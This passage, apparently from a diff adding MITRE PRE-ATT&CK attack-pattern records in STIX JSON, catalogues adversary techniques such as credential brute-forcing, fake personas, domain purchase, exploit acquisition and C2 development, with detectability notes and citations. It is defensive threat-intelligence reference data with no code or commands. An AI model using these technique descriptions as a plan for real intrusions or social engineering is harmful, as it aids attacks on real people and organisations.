"kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "priority-definition-direction" + } + ], + "id": "attack-pattern--4fad17d3-8f42-449d-ac4b-dbb4c486127d", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_difficulty_for_adversary": "Yes", + "type": "attack-pattern", + "x_mitre_difficulty_for_adversary_explanation": "Normal aspect of adversary planning lifecycle. May not be done by all adversaries.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "T1238", + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1238" + }, + { + "description": "Jack Davis. (2002, September). Improving CIA Analytic Performance: Analysts and the Policymaking Process. Retrieved March 5, 2017.", + "source_name": "AnalystsAndPolicymaking" + }, + { + "description": "Joint Chiefs of Staff. (2012, January 05). Joint and National Intelligence Support to Military Operations. Retrieved March 2, 2017.", + "source_name": "JP2-01" + } + ], + "x_mitre_detectable_by_common_defenses": "No" + }, + { + "x_mitre_old_attack_id": "PRE-T1005", + "x_mitre_detectable_by_common_defenses_explanation": "Normally, defender is unable to detect. Few agencies and commercial organizations may have unique insights.", + "name": "Assign KITs/KIQs into categories", + "description": "Leadership organizes Key Intelligence Topics (KITs) and Key Intelligence Questions (KIQs) into three types of categories and creates more if necessary. An example of a description of key players KIT would be when an adversary assesses the cyber defensive capabilities of a nation-state threat actor. (Citation: Herring1999)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "priority-definition-planning" + } + ], + "id": "attack-pattern--a86a21a4-6304-4df3-aa6d-08114c47d48f", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_difficulty_for_adversary": "Yes", + "type": "attack-pattern", + "x_mitre_difficulty_for_adversary_explanation": "Normal aspect of adversary planning lifecycle. May not be done by all adversaries.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "T1228", + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1228" + }, + { + "description": "Jan P. Herring. (1999). Key Intelligence Topics: A Process to Identify and Define Intelligence Needs. Retrieved March 2, 2017.", + "source_name": "Herring1999" + } + ], + "x_mitre_detectable_by_common_defenses": "No" + }, + { + "x_mitre_old_attack_id": "PRE-T1158", + "x_mitre_detectable_by_common_defenses_explanation": "This is possible with diligent monitoring of login anomalies, expected user behavior/location. If the adversary uses legitimate credentials, it may go undetected.", + "name": "Authentication attempt", + "description": "This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.\n\nAttempt to use default vendor credentials, brute force credentials, or previously obtained legitimate credentials to authenticate remotely. This access could be to a web portal, through a VPN, or in a phone app. (Citation: Remote Access Healthcare) (Citation: RDP Point of Sale)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "launch" + } + ], + "id": "attack-pattern--4dfb98ea-03cc-4a9c-a3a7-b22e14f126c4", + "x_mitre_deprecated": true, + "x_mitre_version": "1.0", + "x_mitre_difficulty_for_adversary": "Yes", + "type": "attack-pattern", + "x_mitre_difficulty_for_adversary_explanation": "Attempt to use default vendor credentials, brute force credentials, or previously obtained legitimate credentials. This is increasingly difficult to obtain access when two-factor authentication mechanisms are employed.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "modified": "2018-10-17T00:14:20.652Z", + "x_mitre_detectable_by_common_defenses": "Partial", + "external_references": [ + { + "external_id": "T1381", + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1381" + }, + { + "description": "Gary Glover. (2015, June 25). Remote access threats are imminent. Retrieved March 31, 2017.", + "source_name": "Remote Access Healthcare" + }, + { + "description": "Brian Prince. (2014, July 31). Hackers Turn Remote Desktop Tools Into Gateways for Point-of-Sale Malware Attacks. Retrieved March 31, 2017.", + "source_name": "RDP Point of Sale" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ] + }, + { + "x_mitre_old_attack_id": "PRE-T1163", + "x_mitre_detectable_by_common_defenses_explanation": "Some environments have anti-spearphishing mechanisms to detect or block the link before it reaches the user.", + "name": "Authorized user performs requested cyber action", + "description": "This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.\n\nClicking on links in email, opening attachments, or visiting websites that result in drive by downloads can all result in compromise due to users performing actions of a cyber nature. (Citation: AnonHBGary)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "compromise" + } + ], + "id": "attack-pattern--0440f60f-9056-4791-a740-8eae96eb61fa", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true, + "type": "attack-pattern", + "x_mitre_difficulty_for_adversary_explanation": "Users unwittingly click on spearphishing links frequently, despite training designed to educate about the perils of spearphishing.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "x_mitre_difficulty_for_adversary": "Yes", + "x_mitre_detectable_by_common_defenses": "Yes", + "external_references": [ + { + "external_id": "T1386", + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1386" + }, + { + "description": "PETER BRIGHT. (2011, February 15). Anonymous speaks: the inside story of the HBGary hack. Retrieved March 9, 2017.", + "source_name": "AnonHBGary" + } + ], + "modified": "2018-10-17T00:14:20.652Z" + }, + { + "x_mitre_old_attack_id": "PRE-T1161", + "x_mitre_detectable_by_common_defenses_explanation": "Environments without extensive endpoint sensing capabilities do not typically collect this level of detailed information.", + "name": "Automated system performs requested action", + "description": "This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.\n\nUsers may be performing legitimate activity but using media that is compromised (e.g., using a USB drive that comes with malware installed during manufacture or supply). Upon insertion in the system the media auto-runs and the malware executes without further action by the user. (Citation: WSUSpect2015)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "compromise" + } + ], + "id": "attack-pattern--0e6abb17-0f81-4988-9fd2-4ba0b673d729", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true, + "type": "attack-pattern", + "x_mitre_difficulty_for_adversary_explanation": "Autoruns with USB keys and CDs traditionally were always on (e.g., [http://windows.microsoft.com Windows] 7 is now an exception with a new policy of limiting the always on nature of Autoruns), ensuring and automated system completes a requested action. Specialized use cases exist where automated systems are specifically designed against automatically performing certain actions (e.g., USB/CD insertion and automatically running is disabled in certain environments).", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "x_mitre_difficulty_for_adversary": "Yes", + "x_mitre_detectable_by_common_defenses": "No", + "external_references": [ + { + "external_id": "T1384", + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1384" + }, + { + "description": "Paul Stone & Alex Chapman. (2015, August 5). WSUSpect: Compromising the Windows Enterprise via Windows Update. Retrieved March 1, 2017.", + "source_name": "WSUSpect2015" + } + ], + "modified": "2018-10-17T00:14:20.652Z" + }, + { + "x_mitre_old_attack_id": "PRE-T1124", + "x_mitre_detectable_by_common_defenses_explanation": "It is detectable once deployed to the public Internet, used for adversarial purposes, discovered, and reported to defenders.", + "name": "Build and configure delivery systems", + "description": "Delivery systems are the infrastructure used by the adversary to host malware or other tools used during exploitation. Building and configuring delivery systems may include multiple activities such as registering domain names, renting hosting space, or configuring previously exploited environments. (Citation: APT1)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "build-capabilities" + } + ], + "id": "attack-pattern--15ef4da5-3b93-4bb1-a39a-5396661956d3", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_difficulty_for_adversary": "Yes", + "type": "attack-pattern", + "x_mitre_difficulty_for_adversary_explanation": "It is easy to create and burn infrastructure. Otherwise, blacklisting would be more successful for defenders.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "T1347", + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1347" + }, + { + "description": "Mandiant. (n.d.). APT1: Exposing One of China\u2019s Cyber Espionage Units. Retrieved March 5, 2017.", + "source_name": "APT1" + } + ], + "x_mitre_detectable_by_common_defenses": "No" + }, + { + "x_mitre_old_attack_id": "PRE-T1126", + "x_mitre_detectable_by_common_defenses_explanation": "Adversary will likely use code repositories, but development will be performed on their local systems.", + "name": "Build or acquire exploits", + "description": "An exploit takes advantage of a bug or vulnerability in order to cause unintended or unanticipated behavior to occur on computer hardware or software. The adversary may use or modify existing exploits when those exploits are still relevant to the environment they are trying to compromise. (Citation: NYTStuxnet) (Citation: NationsBuying)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "build-capabilities" + } + ], + "id": "attack-pattern--4886e3c2-468b-4e26-b7e5-2031d995d13a", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_difficulty_for_adversary": "Yes", + "type": "attack-pattern", + "x_mitre_difficulty_for_adversary_explanation": "Several exploit repositories and tool suites exist for re-use and tailoring.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "T1349", + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1349" + }, + { + "description": "William J. Broad, John Markoff, and David E. Sanger. (2011, January 15). Israeli Test on Worm Called Crucial in Iran Nuclear Delay. Retrieved March 1, 2017.", + "source_name": "NYTStuxnet" + }, + { + "description": "Nicole Perlroth and David E. Sanger. (2013, July 12). Nations Buying as Hackers Sell Flaws in Computer Code. Retrieved March 9, 2017.", + "source_name": "NationsBuying" + } + ], + "x_mitre_detectable_by_common_defenses": "No" + }, + { + "x_mitre_old_attack_id": "PRE-T1118", + "x_mitre_detectable_by_common_defenses_explanation": "Unless there is some threat intelligence reporting, these users are hard to differentiate.", + "name": "Build social network persona", + "description": "For attacks incorporating social engineering the utilization of an on-line persona is important. These personas may be fictitious or impersonate real people. The persona may exist on a single site or across multiple sites ([Facebook](https://www.facebook.com), [LinkedIn](https://www.linkedin.com), [Twitter](https://twitter.com), [Google+](https://plus.google.com), etc.). (Citation: NEWSCASTER2014) (Citation: BlackHatRobinSage) (Citation: RobinSageInterview)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "persona-development" + } + ], + "id": "attack-pattern--9108e212-1c94-4f8d-be76-1aad9b4c86a4", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_difficulty_for_adversary": "Yes", + "type": "attack-pattern", + "x_mitre_difficulty_for_adversary_explanation": "Performing activities like typical users, but with specific intent in mind.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "T1341", + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1341" + }, + { + "description": "Mike Lennon. (2014, May 29). Iranian Hackers Targeted US Officials in Elaborate Social Media Attack Operation. Retrieved March 1, 2017.", + "source_name": "NEWSCASTER2014" + }, + { + "description": "Thomas Ryan. (2010). \u201cGetting In Bed with Robin Sage.\u201d. Retrieved March 6, 2017.", + "source_name": "BlackHatRobinSage" + }, + { + "description": "Joan Goodchild. (2010, July 8). The Robin Sage experiment: Fake profile fools security pros. Retrieved March 6, 2017.", + "source_name": "RobinSageInterview" + } + ], + "x_mitre_detectable_by_common_defenses": "No" + }, + { + "x_mitre_old_attack_id": "PRE-T1105", + "x_mitre_detectable_by_common_defenses_explanation": "This is by design captured in public registration logs. Various tools and services exist to track/query/monitor domain name registration information.", + "name": "Buy domain name", + "description": "Domain Names are the human readable names used to represent one or more IP addresses. They can be purchased or, in some cases, acquired for free. (Citation: PWCSofacy2014)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "establish-&-maintain-infrastructure" + } + ], + "id": "attack-pattern--45242287-2964-4a3e-9373-159fad4d8195", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_difficulty_for_adversary": "Yes", + "type": "attack-pattern", + "x_mitre_difficulty_for_adversary_explanation": "Proliferation of DNS TLDs and registrars. Adversary may choose domains that are similar to legitimate domains (aka \"domain typosquatting\" or homoglyphs).", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "T1328", + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1328" + }, + { + "description": "Tom Lancaster and Michael Yip. (2014, December 05). APT28: Sofacy? So-funny.. Retrieved March 6, 2017.", + "source_name": "PWCSofacy2014" + } + ], + "x_mitre_detectable_by_common_defenses": "Yes" + }, + { + "x_mitre_old_attack_id": "PRE-T1129", + "x_mitre_detectable_by_common_defenses_explanation": "Adversary will likely use code repositories, but development will be performed on their local systems.", + "name": "C2 protocol development", + "description": "Command and Control (C2 or C&C) is a method by which the adversary communicates with malware. An adversary may use a variety of protocols and methods to execute C2 such as a centralized server, peer to peer, IRC, compromised web sites, or even social media. (Citation: HAMMERTOSS2015)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "build-capabilities" + } + ], + "id": "attack-pattern--8e211ec9-5dfc-4915-aff4-84d5908f0336", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_difficulty_for_adversary": "Yes", + "type": "attack-pattern", + "x_mitre_difficulty_for_adversary_explanation": "C2 over commonly used and permitted protocols provides the necessary cover and access.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "T1352", + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1352" + }, + { + "description": "FireEye. (2015, July). HAMMERTOSS: Stealthy Tactics Define a Russian Cyber Threat Group. Retrieved March 6, 2017.", + "source_name": "HAMMERTOSS2015" + } + ], + "x_mitre_detectable_by_common_defenses": "No" + }, + { + "x_mitre_old_attack_id": "PRE-T1168", + "x_mitre_detectable_by_common_defenses_explanation": "Possible to detect compromised credentials if alerting from a service provider is enabled and acted upon by the individual.", + "name": "Choose pre-compromised mobile app developer account credentials or signing keys", + "description": "The adversary can use account credentials or signing keys of an existing mobile app developer to publish malicious updates of existing mobile apps to an application store, or to abuse the developer's identity and reputation to publish new malicious apps. Many mobile devices are configured to automatically install new versions of already-installed apps. (Citation: Fraudenlent Apps Stolen Dev Credentials)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "persona-development" + } + ], + "id": "attack-pattern--7a265bf0-6acc-4f43-8b22-2e58b443e62e", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_difficulty_for_adversary": "No", + "type": "attack-pattern", + "x_mitre_difficulty_for_adversary_explanation": "The difficulty of obtaining useful developer credentials may vary. Well-organized, professional app developers whose credentials or signing keys would be the most useful to an adversary because of the large install bases of their apps, would likely strongly protect their credentials and signing keys. Less-organized app developers may not protect their credentials and signing keys as strongly, but the credentials and signing keys would also be less useful to an adversary. These less-organized app developers may reuse passwords across sites, fail to turn on multi-factor authentication features when available, or store signing keys in unprotected locations.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "T1391", + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1391" + }, + { + "description": "Galen Gruman. (2014, December 5). Keep out hijackers: Secure your app store dev account. Retrieved April 12, 2017.", + "source_name": "Fraudenlent Apps Stolen Dev Credentials" + } + ], + "x_mitre_detectable_by_common_defenses": "No" + }, + { + "x_mitre_old_attack_id": "PRE-T1120", + "x_mitre_detectable_by_common_defenses_explanation": "Possible to detect compromised credentials if alerting from a service provider is enabled and acted upon by the individual.", + "name": "Choose pre-compromised persona and affiliated accounts", + "description": "For attacks incorporating social engineering the utilization of an on-line persona is important. Utilizing an existing persona with compromised accounts may engender a level of trust in a potential victim if they have a relationship, or knowledge of, the compromised persona. (Citation: AnonHBGary) (Citation: Hacked Social Media Accounts)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "persona-development" + } + ], + "id": "attack-pattern--9a8c47f6-ae69-4044-917d-4b1602af64d9", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_difficulty_for_adversary": "Yes", + "type": "attack-pattern", + "x_mitre_difficulty_for_adversary_explanation": "It is relatively easy and low cost to purchase compromised credentials. Mining social media sites offers open source information about a particular target. Most users tend to reuse passwords across sites and are not paranoid enough to check and see if spoofed sites from their persona exist across current social media.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "T1343", + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1343" + }, + { + "description": "PETER BRIGHT. (2011, February 15). Anonymous speaks: the inside story of the HBGary hack. Retrieved March 9, 2017.", + "source_name": "AnonHBGary" + }, + { + "description": "Marcus Habert. (2015, November 8). What Happens to Hacked Social Media Accounts. Retrieved March 28, 2017.", + "source_name": "Hacked Social Media Accounts" + } + ], + "x_mitre_detectable_by_common_defenses": "No" + }, + { + "x_mitre_old_attack_id": "PRE-T1098", + "x_mitre_detectable_by_common_defenses_explanation": "High level of entropy in communications. High volume of communications makes it extremely hard for a defender to distinguish between legitimate and adversary communications.", + "name": "Common, high volume protocols and software", + "description": "Certain types of traffic (e.g., Twitter14, HTTP) are more commonly used than others. Utilizing more common protocols and software may make an adversary's traffic more difficult to distinguish from legitimate traffic. (Citation: symantecNITRO)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "adversary-opsec" + } + ], + "id": "attack-pattern--0c592c79-29a7-4a94-81a4-c87eae3aead6", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_difficulty_for_adversary": "Yes", + "type": "attack-pattern", + "x_mitre_difficulty_for_adversary_explanation": "Communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to decipher or to make the communication less conspicuous.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "T1321", + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1321" + }, + { + "description": "Eric Chien and Gavin O\u2019Gorman. (n.d.). The Nitro Attacks: Stealing Secrets from the Chemical Industry. Retrieved March 1, 2017.", + "source_name": "symantecNITRO" + } + ], + "x_mitre_detectable_by_common_defenses": "No" + }, + { + "x_mitre_old_attack_id": "PRE-T1089", + "x_mitre_detectable_by_common_defenses_explanation": "Defender will not have visibility on 3rd party sites unless target is successfully enticed to visit one.", + "name": "Compromise 3rd party infrastructure to support delivery", + "description": "Instead of buying, leasing, or renting infrastructure an adversary may compromise infrastructure and use it for some or all of the attack cycle. (Citation: WateringHole2014) (Citation: FireEye Operation SnowMan)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "adversary-opsec" + } + ], + "id": "attack-pattern--4900fabf-1142-4c1f-92f5-0b590e049077", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_difficulty_for_adversary": "Yes", + "type": "attack-pattern", + "x_mitre_difficulty_for_adversary_explanation": "Commonly used technique currently (e.g., [https://www.wordpress.com WordPress] sites) as precursor activity to launching attack against intended target (e.g., acquiring botnet or layers of proxies for reducing attribution possibilities).", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "T1312", + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1312" + }, + { + "description": "Pierluigi Paganini. (2014, February 15). FireEye discovered a new watering hole attack based on 0-day exploit. Retrieved March 1, 2017.", + "source_name": "WateringHole2014" + }, + { + "description": "Darien Kindlund, Xiaobo Chen, Mike Scott, Ned Moran, Dan Caselden. (2014, February 13). Operation SnowMan: DeputyDog Actor Compromises US Veterans of Foreign Wars Website. Retrieved March 28, 2017.", + "source_name": "FireEye Operation SnowMan" + } + ], + "x_mitre_detectable_by_common_defenses": "No" + }, + { + "x_mitre_old_attack_id": "PRE-T1111", + "x_mitre_detectable_by_common_defenses_explanation": "Defender will not have visibility on 3rd party sites unless target is successfully enticed to visit one.", + "name": "Compromise 3rd party infrastructure to support delivery", + "description": "Instead of buying, leasing, or renting infrastructure an adversary may compromise infrastructure and use it for some or all of the attack cycle. (Citation: WateringHole2014) (Citation: FireEye Operation SnowMan)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "establish-&-maintain-infrastructure" + } + ], + "id": "attack-pattern--e51398e6-53dc-4e9f-a323-e54683d8672b", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_difficulty_for_adversary": "Yes", + "type": "attack-pattern", + "x_mitre_difficulty_for_adversary_explanation": "Commonly used technique currently (e.g., [https://www.wordpress.com WordPress] sites) as precursor activity to launching attack against intended target (e.g., acquiring botnet or layers of proxies for reducing attribution possibilities).", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "modified": "2018-10-26T14:58:31.328Z", + "external_references": [ + { + "external_id": "T1334", + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1334" + }, + { + "description": "Pierluigi Paganini. (2014, February 15). FireEye discovered a new watering hole attack based on 0-day exploit. Retrieved March 1, 2017.", + "source_name": "WateringHole2014" + }, + { + "description": "Darien Kindlund, Xiaobo Chen, Mike Scott, Ned Moran, Dan Caselden. (2014, February 13). Operation SnowMan: DeputyDog Actor Compromises US Veterans of Foreign Wars Website. Retrieved March 28, 2017.", + "source_name": "FireEye Operation SnowMan" + } + ], + "x_mitre_detectable_by_common_defenses": "No" + }, + { + "x_mitre_old_attack_id": "PRE-T1131", + "x_mitre_detectable_by_common_defenses_explanation": "The compromise of unknown vulnerabilities would provide little attack and warning against a defender, rendering it highly challenging to detect.", + "name": "Compromise 3rd party or closed-source vulnerability/exploit information", + "description": "There is usually a delay between when a vulnerability or exploit is discovered and when it is made public. An adversary may target the systems of those known to research vulnerabilities in order to gain that knowledge for use during a different attack. (Citation: TempertonDarkHotel)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "build-capabilities" + } + ], + "id": "attack-pattern--5a68c603-d7f9-4535-927e-ab56819eaa85", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_difficulty_for_adversary": "No", + "type": "attack-pattern", + "x_mitre_difficulty_for_adversary_explanation": "Finding, attacking, and compromising a 3rd party or closed vulnerability entity is challenging, because those containing the vulnerabilities should be very aware of attacks on their environments have a heightened awareness.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "T1354", + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1354" + }, + { + "description": "JAMES TEMPERTON. (2015, August 10). Hacking Team zero-day used in new Darkhotel attacks. Retrieved March 9, 2017.", + "source_name": "TempertonDarkHotel" + } + ], + "x_mitre_detectable_by_common_defenses": "No" + }, + { + "x_mitre_old_attack_id": "PRE-T1165", + "x_mitre_detectable_by_common_defenses_explanation": "Most DMZs are monitored but are also designed so that if they are compromised, the damage/risk is limited.", + "name": "Compromise of externally facing system", + "description": "This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.\n\nExternally facing systems allow connections from outside the network as a normal course of operations. Externally facing systems may include, but are not limited to, websites, web portals, email, DNS, FTP, VPN concentrators, and boarder routers and firewalls. These systems could be in a demilitarized zone (DMZ) or may be within other parts of the internal environment. (Citation: CylanceOpCleaver) (Citation: DailyTechAntiSec)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "compromise" + } + ], + "id": "attack-pattern--4aeafdb3-eb0b-4e8e-b93f-95cd499088b4", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true, + "type": "attack-pattern", + "x_mitre_difficulty_for_adversary_explanation": "DMZ environments are specifically designed to be isolated because one assumes they will ultimately be compromised by the adversary.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "x_mitre_difficulty_for_adversary": "Yes", + "x_mitre_detectable_by_common_defenses": "Yes", + "external_references": [ + { + "external_id": "T1388", + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1388" + }, + { + "description": "CYLANCE. (n.d.). Operation Cleaver. Retrieved March 6, 2017.", + "source_name": "CylanceOpCleaver" + }, + { + "description": "Jason Mick. (2011, July 12). AntiSec Exposes U.S. Soldiers' S/Ns, Passwords, Vows Attack on Monsanto. Retrieved March 9, 2017.", + "source_name": "DailyTechAntiSec" + } + ], + "modified": "2018-10-17T00:14:20.652Z" + }, + { + "x_mitre_old_attack_id": "PRE-T1031", + "x_mitre_detectable_by_common_defenses_explanation": "This technique is an expected and voluminous activity when on the Internet. Active scanning techniques/tools typically generate benign traffic that does not require further investigation by a defender since there is no actionable defense to execute. The high volume of this activity makes it burdensome for any defender to chase and therefore often ignored.", + "name": "Conduct active scanning", + "description": "Active scanning is the act of sending transmissions to end nodes, and analyzing the responses, in order to identify information about the communications system. (Citation: RSA-APTRecon)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "technical-information-gathering" + } + ], + "id": "attack-pattern--7f2d3da6-7e34-44a3-9e7f-905455339726", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_difficulty_for_adversary": "Yes", + "type": "attack-pattern", + "x_mitre_difficulty_for_adversary_explanation": "Various available tools and data sources for scouting and detecting address, routing, version numbers, patch levels, protocols/services running, etc.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "T1254", + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1254" + }, + { + "description": "Rotem Kerner. (2015, October). RECONNAISSANCE: A Walkthrough of the \u201cAPT\u201d Intelligence Gathering Process. Retrieved March 1, 2017.", + "source_name": "RSA-APTRecon" + } + ], + "x_mitre_detectable_by_common_defenses": "Yes" + }, + { + "x_mitre_old_attack_id": "PRE-T1003", + "x_mitre_detectable_by_common_defenses_explanation": "Normally, defender is unable to detect. Few agencies and commercial organizations may have unique insights.", + "name": "Conduct cost/benefit analysis", + "description": "Leadership conducts a cost/benefit analysis that generates a compelling need for information gathering which triggers a Key Intelligence Toptic (KIT) or Key Intelligence Question (KIQ). For example, an adversary compares the cost of cyber intrusions with the expected benefits from increased intelligence collection on cyber adversaries. (Citation: LowenthalCh4) (Citation: KIT-Herring)", + "kill_chain_phases": [ + { + "phase_name": "priority-definition-planning", + "kill_chain_name": "mitre-pre-attack" + } + ], + "id": "attack-pattern--51bca707-a806-49bf-91e0-03885b0ac85c", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_difficulty_for_adversary": "Yes", + "type": "attack-pattern", + 